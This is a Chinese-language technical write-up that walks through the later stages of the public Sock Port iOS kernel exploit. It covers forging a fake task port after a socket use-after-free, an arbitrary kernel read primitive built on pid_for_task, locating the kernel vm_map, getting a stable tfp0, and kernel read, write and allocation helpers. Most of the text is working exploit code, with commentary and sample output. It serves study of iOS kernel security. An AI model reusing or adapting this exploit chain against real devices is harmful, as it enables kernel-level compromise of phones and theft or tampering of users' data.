uint64_t pipe_buffer = rk64_check(fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER));
printf("[*] pipe buffer: 0x%llx\n", pipe_buffer);

函数free_via_uaf()与函数rk64_via_uaf()前面部分一样,都是通过创建一堆存在漏洞的Socket,然后去堆喷,只不过这里还要多一步填充结构体in6_pktinfo数据,可以看到我们填充的是一个全为0的数据,那么就会触发它进行释放操作

int free_via_uaf(uint64_t addr) {
    ...
    
    struct in6_pktinfo *buf = malloc(sizeof(struct in6_pktinfo));
    memset(buf, 0, sizeof(struct in6_pktinfo));
    int ret = set_pktinfo(sockets[found_at], buf);
    free(buf);
    return ret;
}

前期的准备工作到这里就差不多了,我们接下来开始进入一个关键环节:伪造一个Port

7. 伪造Task Port

备注:因为SMAP是iPhone 7开始引入的安全机制,内核访问用户态的内存会被限制,而我的测试环境是iPhone 6,所以前面我淡化了SMAP的存在感,但接下来该面对还是要面对

申请一个target用于伪造Port,函数find_port_via_uaf()通过OOL数据自动转换Port为内核态地址的机制获取Port的内核态地址target_addr,函数free_via_uaf()pipe_buffer给释放掉,但管道句柄fds[0]fds[1]依旧拥有对这个内核缓冲区的读写权限

mach_port_t target = new_port();
uint64_t target_addr = find_port_via_uaf(target, MACH_MSG_TYPE_COPY_SEND);
ret = free_via_uaf(pipe_buffer);

这个循环的操作有点像函数find_port_via_uaf(),利用自动转换的Task Port内核态地址占位刚才释放掉的pipe_buffer,因为我们之前写入了8字节,所以这里读取8字节就是pipe_buffer的前8个字节数据,判断一下使用两种方法获取到的Port内核态地址是否相同,如果相同就退出循环,如果不同说明堆喷不成功,复位下标继续循环

mach_port_t p = MACH_PORT_NULL;
for (int i = 0; i < 10000; i++) {
    p = fill_kalloc_with_port_pointer(target, 0x10000/8, MACH_MSG_TYPE_COPY_SEND);
    uint64_t addr;
    read(fds[0], &addr, 8);
    if (addr == target_addr) { // if we see the address of our port, it worked
        break;
    }
    write(fds[1], &addr, 8); // reset buffer position
    mach_port_destroy(mach_task_self(), p); // spraying didn't work, so free port
    p = MACH_PORT_NULL;
}

除了fds之外,额外申请一个port_fds用于绕过SMAP的限制

int port_fds[2] = {-1, -1};
if (SMAP) {
    ret = pipe(port_fds);
}

当我们获得一个填充满了Port内核态地址的内核缓冲区pipe_buffer之后,就需要构造一个ipc_port结构体了

将结构体ipc_porttask放在了连续的一片内存空间,构建完之后刷一遍port_fds缓冲区

kport_t *fakeport = malloc(sizeof(kport_t) + 0x600);
ktask_t *fake_task = (ktask_t *)((uint64_t)fakeport + sizeof(kport_t));
bzero((void *)fakeport, sizeof(kport_t) + 0x600);

fake_task->ref_count = 0xff;
fakeport->ip_bits = IO_BITS_ACTIVE | IKOT_TASK;
fakeport->ip_references = 0xd00d;
fakeport->ip_lock.type = 0x11;
fakeport->ip_messages.port.receiver_name = 1;
fakeport->ip_messages.port.msgcount = 0;
fakeport->ip_messages.port.qlimit = MACH_PORT_QLIMIT_LARGE;
fakeport->ip_messages.port.waitq.flags = mach_port_waitq_flags();
fakeport->ip_srights = 99;
fakeport->ip_kobject = 0;
fakeport->ip_receiver = ipc_space_kernel;

if (SMAP) {
    write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);
    read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);
}

申请空间时的kport_t为作者构造的一个ipc_port结构体

typedef volatile struct {
    uint32_t ip_bits;
    uint32_t ip_references;
    struct {
        uint64_t data;
        uint64_t type;
    } ip_lock; // spinlock
    struct {
        struct {
            struct {
                uint32_t flags;
                uint32_t waitq_interlock;
                uint64_t waitq_set_id;
                uint64_t waitq_prepost_id;
                struct {
                    uint64_t next;
                    uint64_t prev;
                } waitq_queue;
            } waitq;
            uint64_t messages;
            uint32_t seqno;
            uint32_t receiver_name;
            uint16_t msgcount;
            uint16_t qlimit;
            uint32_t pad;
        } port;
        uint64_t klist;
    } ip_messages;
    uint64_t ip_receiver;
    uint64_t ip_kobject;
    uint64_t ip_nsrequest;
    uint64_t ip_pdrequest;
    uint64_t ip_requests;
    uint64_t ip_premsg;
    uint64_t ip_context;
    uint32_t ip_flags;
    uint32_t ip_mscount;
    uint32_t ip_srights;
    uint32_t ip_sorights;
} kport_t;

我们要做的,是将这个Fake Task Port的地址,替换到刚才被释放的内核缓冲区pipe_buffer里,这样整个内核缓冲区的布局就是:第一个8字节是我们Fake Task Port的地址,后面都是正常Port的地址

先获取Fake Task Port的地址port_pipe_buffer,也就是port_fds对应的内核缓冲区

uint64_t port_fg_data = 0;
uint64_t port_pipe_buffer = 0;

if (SMAP) {
    fproc = rk64_check(fd_ofiles + port_fds[0] * 8);
    f_fglob = rk64_check(fproc + koffset(KSTRUCT_OFFSET_FILEPROC_F_FGLOB));
    port_fg_data = rk64_check(f_fglob + koffset(KSTRUCT_OFFSET_FILEGLOB_FG_DATA));
    port_pipe_buffer = rk64_check(port_fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER));
    printf("[*] second pipe buffer: 0x%llx\n", port_pipe_buffer);
}

fakeport->ip_kobject指向的是结构体Task,这个结构体还没有进行初始化,到这里完成Fake Task Port的内存数据构造

fakeport->ip_kobject = port_pipe_buffer + sizeof(kport_t);

将完成构造的Fake Task Port数据刷到内核缓冲区里

write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);

这是我们释放掉的pipe_buffer,将第一个8字节替换为port_pipe_buffer的地址,那么逻辑上第一个Port内核态地址指向的内核内存空间我们就可以通过port_fds来进行控制了

write(fds[1], &port_pipe_buffer, 8);

获取Fake Task Port的用户态句柄,从p中读出我们发送的OOL数据,第一个元素就是我们的Fake Task Port,如同用户态传到内核态会调用CAST_MACH_NAME_TO_PORT将用户态句柄转换为内核态地址一样,内核态传到用户态会调用CAST_MACH_PORT_TO_NAME将内核态地址转换为用户态句柄

struct ool_msg *msg = malloc(0x1000);
ret = mach_msg(&msg->hdr, MACH_RCV_MSG, 0, 0x1000, p, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
mach_port_t *received_ports = msg->ool_ports.address;
mach_port_t our_port = received_ports[0]; // fake port!
free(msg);

于是我们现在拥有了Fake Task Port的用户态句柄和内核态地址

8. 填充VM_MAP

作者在这里实现了两个内核任意读的原语,我们先来分析一下它背后的取值逻辑

通过fake_task获取到bsd_info赋值给指针变量read_addr_ptr,宏kr32里重新设置指针变量read_addr_ptr的值,再调用函数pid_for_task(),这逻辑完全看不懂什么意思

uint64_t *read_addr_ptr = (uint64_t *)((uint64_t)fake_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
    
#define kr32(addr, value)\
    if (SMAP) {\
        read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);\
    }\
    *read_addr_ptr = addr - koffset(KSTRUCT_OFFSET_PROC_PID);\
    if (SMAP) {\
        write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);\
    }\
    value = 0x0;\
    ret = pid_for_task(our_port, (int *)&value);
    
    uint32_t read64_tmp;
#define kr64(addr, value)\
    kr32(addr + 0x4, read64_tmp);\
    kr32(addr, value);\
    value = value | ((uint64_t)read64_tmp << 32)

顺着获取PID这个思路想一下,通过一个Port内核态地址来获取PID的方式如下

*(*(*(fake_port + offset_kobject) + offset_bsd_info) + offset_p_pid)

如果将bsd_info的值设置为addr - offset_p_pidaddr为我们要读取数据的地址,可以看到此时获取的就是我们传入的addr指向的数据

*(addr - offset_p_pid + offset_p_pid) => *addr

可以得出结论:获取read_addr_ptr与宏kr32()里设置read_addr_ptr的值等价于设置task->bsd_infoaddr - offset_p_pid,当调用函数pid_for_task()去获取PID时,就能实现任意读,在此基础上,宏k64()实现了8字节读取效果

这个内核任意读原语实现的很漂亮!

利用这个任意读原语来实现PID的遍历,先判断本Task的PID是否为0,如果不是就获取前一个Task,如果获取到PID为0,就获取VM_MAP

uint64_t struct_task;
kr64(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), struct_task);
printf("[!] READING VIA FAKE PORT WORKED? 0x%llx\n", struct_task);

uint64_t kernel_vm_map = 0;
while (struct_task != 0) {
    uint64_t bsd_info;
    kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO), bsd_info);
    uint32_t pid;
    kr32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID), pid);
    if (pid == 0) {
        uint64_t vm_map;
        kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP), vm_map);
        kernel_vm_map = vm_map;
        break;
    }
    kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_PREV), struct_task);
}
printf("[i] kernel_vm_map: 0x%llx\n", kernel_vm_map);

把获取到的VM_MAP填充到我们的Fake Task Port,一个东拼西凑的TFP0就拿到手了

read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);

fake_task->lock.data = 0x0;
fake_task->lock.type = 0x22;
fake_task->ref_count = 100;
fake_task->active = 1;
fake_task->map = kernel_vm_map;
*(uint32_t *)((uint64_t)fake_task + koffset(KSTRUCT_OFFSET_TASK_ITK_SELF)) = 1;

if (SMAP) {
    write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);
}

初始化一个全局tfpzero变量

static mach_port_t tfpzero;

void init_kernel_memory(mach_port_t tfp0) {
    tfpzero = tfp0;
}

init_kernel_memory(our_port);

申请8字节内存,写0x4141414141414141,再读出来,能成功说明这个tfpzero是能用的

uint64_t addr = kalloc(8);
printf("[*] allocated: 0x%llx\n", addr);

wk64(addr, 0x4141414141414141);
uint64_t readb = rk64(addr);
printf("[*] read back: 0x%llx\n", readb);

kfree(addr, 8);

这里要补充一点:这里申请的都是内核的空间,内核空间范围如下

#define VM_MIN_KERNEL_ADDRESS	((vm_address_t) 0xffffffe000000000ULL)
#define VM_MAX_KERNEL_ADDRESS	((vm_address_t) 0xfffffff3ffffffffULL)

这几个k*()函数是基于tfpzero实现的函数

内存申请函数:kalloc()

uint64_t kalloc(vm_size_t size) {
    mach_vm_address_t address = 0;
    mach_vm_allocate(tfpzero, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE);
    return address;
}

读函数:rk32()rk64()

uint32_t rk32(uint64_t where) {
    uint32_t out;
    kread(where, &out, sizeof(uint32_t));
    return out;
}

uint64_t rk64(uint64_t where) {
    uint64_t out;
    kread(where, &out, sizeof(uint64_t));
    return out;
}

size_t kread(uint64_t where, void *p, size_t size) {
    int rv;
    size_t offset = 0;
    while (offset < size) {
        mach_vm_size_t sz, chunk = 2048;
        if (chunk > size - offset) {
            chunk = size - offset;
        }
        rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &sz);
        offset += sz;
    }
    return offset;
}

写函数:wk32()wk64()

void wk32(uint64_t where, uint32_t what) {
    uint32_t _what = what;
    kwrite(where, &_what, sizeof(uint32_t));
}

void wk64(uint64_t where, uint64_t what) {
    uint64_t _what = what;
    kwrite(where, &_what, sizeof(uint64_t));
}

size_t kwrite(uint64_t where, const void *p, size_t size) {
    int rv;
    size_t offset = 0;
    while (offset < size) {
        size_t chunk = 2048;
        if (chunk > size - offset) {
            chunk = size - offset;
        }
        rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, (int)chunk);
        offset += chunk;
    }
    return offset;
}

内存释放函数:kfree()

void kfree(mach_vm_address_t address, vm_size_t size) {
    mach_vm_deallocate(tfpzero, address, size);
}

9. 稳定的TFP0

new_tfp0是我们最终要使用的TFP0,函数find_port()也是利用上面的tfpzero进行读取

mach_port_t new_tfp0 = new_port();
uint64_t new_addr = find_port(new_tfp0, self_port_addr);

最开始分析代码的时候我们说过所有的Port都以ipc_entry_t的形式存在在is_table里,可以通过用户态Port来计算索引取出这个Port的内核态地址

uint64_t find_port(mach_port_name_t port, uint64_t task_self) {
    uint64_t task_addr = rk64(task_self + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
    uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
    uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
    uint32_t port_index = port >> 8;    // 取索引
    const int sizeof_ipc_entry_t = 0x18;
    uint64_t port_addr = rk64(is_table + (port_index * sizeof_ipc_entry_t));
    return port_addr;
}

重新申请一片内核内存用于存储Fake Task,通过函数kwrite()fake_task写到新申请的内核内存空间,然后让Fake Task Portip_kobject指向这片新的内存,最后通过刷新new_addr指向的new_tfp0内存来获取一个最终的TFP0

uint64_t faketask = kalloc(0x600);
kwrite(faketask, fake_task, 0x600);
fakeport->ip_kobject = faketask;
kwrite(new_addr, (const void*)fakeport, sizeof(kport_t));

重复一遍上面的写入读取,测试这个new_tfp0是否可用

init_kernel_memory(new_tfp0);
printf("[+] tfp0: 0x%x\n", new_tfp0);

addr = kalloc(8);
printf("[*] allocated: 0x%llx\n", addr);

wk64(addr, 0x4141414141414141);
readb = rk64(addr);
printf("[*] read back: 0x%llx\n", readb);

kfree(addr, 8);

效果蛮好

[+] tfp0: 0x6203
[*] allocated: 0xfffffff008e1f000
[*] read back: 0x4141414141414141

10. 清理内存环境

is_table中删除东拼西凑的Port,然后删除fds对应的内核缓冲区,它早就被释放了,还有一些管道句柄,IOSurface都关掉

// 获取is_table
uint64_t task_addr = rk64(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));

// 获取索引
uint32_t port_index = our_port >> 8;
const int sizeof_ipc_entry_t = 0x18;

// 清空
wk32(is_table + (port_index * sizeof_ipc_entry_t) + 8, 0);
wk64(is_table + (port_index * sizeof_ipc_entry_t), 0);

// 这个pipe_buffer已经释放,这里指针也要清空
wk64(fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER), 0); // freed already via mach_msg()

if (fds[0] > 0)  close(fds[0]);
if (fds[1] > 0)  close(fds[1]);
if (port_fds[0] > 0)  close(port_fds[0]);
if (port_fds[1] > 0)  close(port_fds[1]);

free((void *)fakeport);
deinit_IOSurface();
return new_tfp0;

11. 总结

这篇文章只能说是讲了个大概,很多细节都没有深究,比如堆分配机制,哪些是统一实现的,哪些是单独实现的,结构体偏移计算,伪造Port时各种结构体成员以什么数据进行赋值…,这些问题我也一知半解的,所以就留着后面漏洞分析的多了,逐渐补齐

References

  1. Sock Port 漏洞解析(一)UAF 与 Heap Spraying
  2. Sock Port 漏洞解析(二)通过 Mach OOL Message 泄露 Port Address
  3. Sock Port 漏洞解析(三)IOSurface Heap Spraying
  4. Sock Port 漏洞解析(四)The tfp0 !
  5. iOS12-2 越狱漏洞分析
  6. https://raw.githubusercontent.com/jakeajames/sock_port/master/sock_port.pdf
  7. https://www.slideshare.net/i0n1c/cansecwest-2017-portal-to-the-ios-core
  8. Pegasus内核漏洞及PoC分析
  9. pegasus分析
  10. iOSurfaceRootUserClient Port UAF
  11. Recreating an iOS 0-day jailbreak out of Apple’s security patches